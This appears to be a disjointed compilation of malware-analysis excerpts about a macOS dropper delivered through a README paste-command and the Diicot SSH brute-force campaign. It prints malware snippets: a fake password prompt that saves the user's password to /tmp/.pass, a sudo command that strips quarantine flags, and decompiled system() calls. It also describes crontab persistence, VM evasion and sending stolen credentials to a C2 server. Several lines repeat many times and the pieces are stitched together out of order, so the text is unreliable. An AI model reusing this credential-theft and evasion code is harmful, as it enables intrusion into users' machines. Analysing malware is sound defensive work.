update

echo " $password " | sudo -S xattr -c /tmp/update >/dev/null 2>&1

The Update file maintains persistence by modifying the crontab to schedule recurring tasks for Update, History, .b, and .c.

#!/bin/bash /bin/bash -c " $(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh) "

Uses system() calls to execute decoded commands with system privileges. if ( ( system (v2) & 0xFF00 ) != 0 ) { goto LABEL_30; } system (v5); system (data);

The README.md file asked users to copy a bash command that pulled in a script from: lorissarenfro[dot]com.

The Update file maintains persistence by modifying the crontab to schedule recurring tasks for Update, History, .b, and .c.

echo " $password " | sudo -S xattr -c /tmp/update >/dev/null 2>&1

The Update file maintains persistence by modifying the crontab to schedule recurring tasks for Update, History, .b, and .c.

echo " $password " | sudo -S xattr -c /tmp/update >/dev/null 2>&1

echo " $password " | sudo -S xattr -c /tmp/update >/dev/null 2>&1

The binary ‘update’ is a sophisticated piece of a multi-stage dropper that employs advanced obfuscation techniques to hide malicious commands. The malware uses XOR-based encoding, Mersenne Twister PRNG, and complex mathematical operations to decode and execute system commands.

Diicot payloads use a modified UPX packer that changes the magic header from "UPX!" to "YTS\x99" and corrupts checksum information.

The Update payload drops two additional embedded malicious files; abc123 also contains a version of Update as an embedded binary payload.

It uses sudo to clear quarantine attributes from the downloaded file ... PS: “xattr” here is used to remove the “com.apple.quarantine” to remove the mark of the web.

echo " $password " | sudo -S xattr -c /tmp/update >/dev/null 2>&1

The binary included a “guardrail” to detect virtual machines or analysis environments. It used system_profiler to check for signs of virtualisation (e.g., “QEMU”, “VMware”) ... If detected, it exited with code 100.

It checked: Is this a VM? Are you trying to reverse me? If so, I’m out.

If the malware detects it is running within a cloud environment, as determined by Linux distribution and version, it prioritizes spreading; non-cloud systems may receive cryptomining payloads.

The malware targets systems with weak credentials and tries to log in to identified SSH systems using a large list of username and password combinations.

while true ; do echo -n "System Password: " read password ... if dscl . -authonly " $username " " $password " >/dev/null 2>&1; then echo -n " $password " > /tmp/.pass

The .bisis scanner downloads an IP list, scans port 22 on remote machines for SSH banners, and looks specifically for responses indicating OpenSSH.

Update checks Linux distribution and version, while successful brute-force reports include CPU count, hostname, architecture, kernel version, and GPU availability.

The binary included a “guardrail” to detect virtual machines or analysis environments. It used system_profiler to check for signs of virtualisation (e.g., “QEMU”, “VMware”) ... If detected, it exited with code 100.

It checked: Is this a VM? Are you trying to reverse me? If so, I’m out.

If the malware detects it is running within a cloud environment, as determined by Linux distribution and version, it prioritizes spreading; non-cloud systems may receive cryptomining payloads.

The Diicot malware campaign targets Linux-based machines running OpenSSH, exploiting weak credentials to gain access.

The malware communicates with a C2 server multiple times during runtime; requests and reports are sent using HTTP and curl.

The .c cron task downloads and runs a bash script, and black4 uses wget or curl to download cache, kuak, and .diicot payloads.

After successfully brute-forcing a remote machine, reports sent to C2 include the victim IP address, username, password, SSH port, and system information.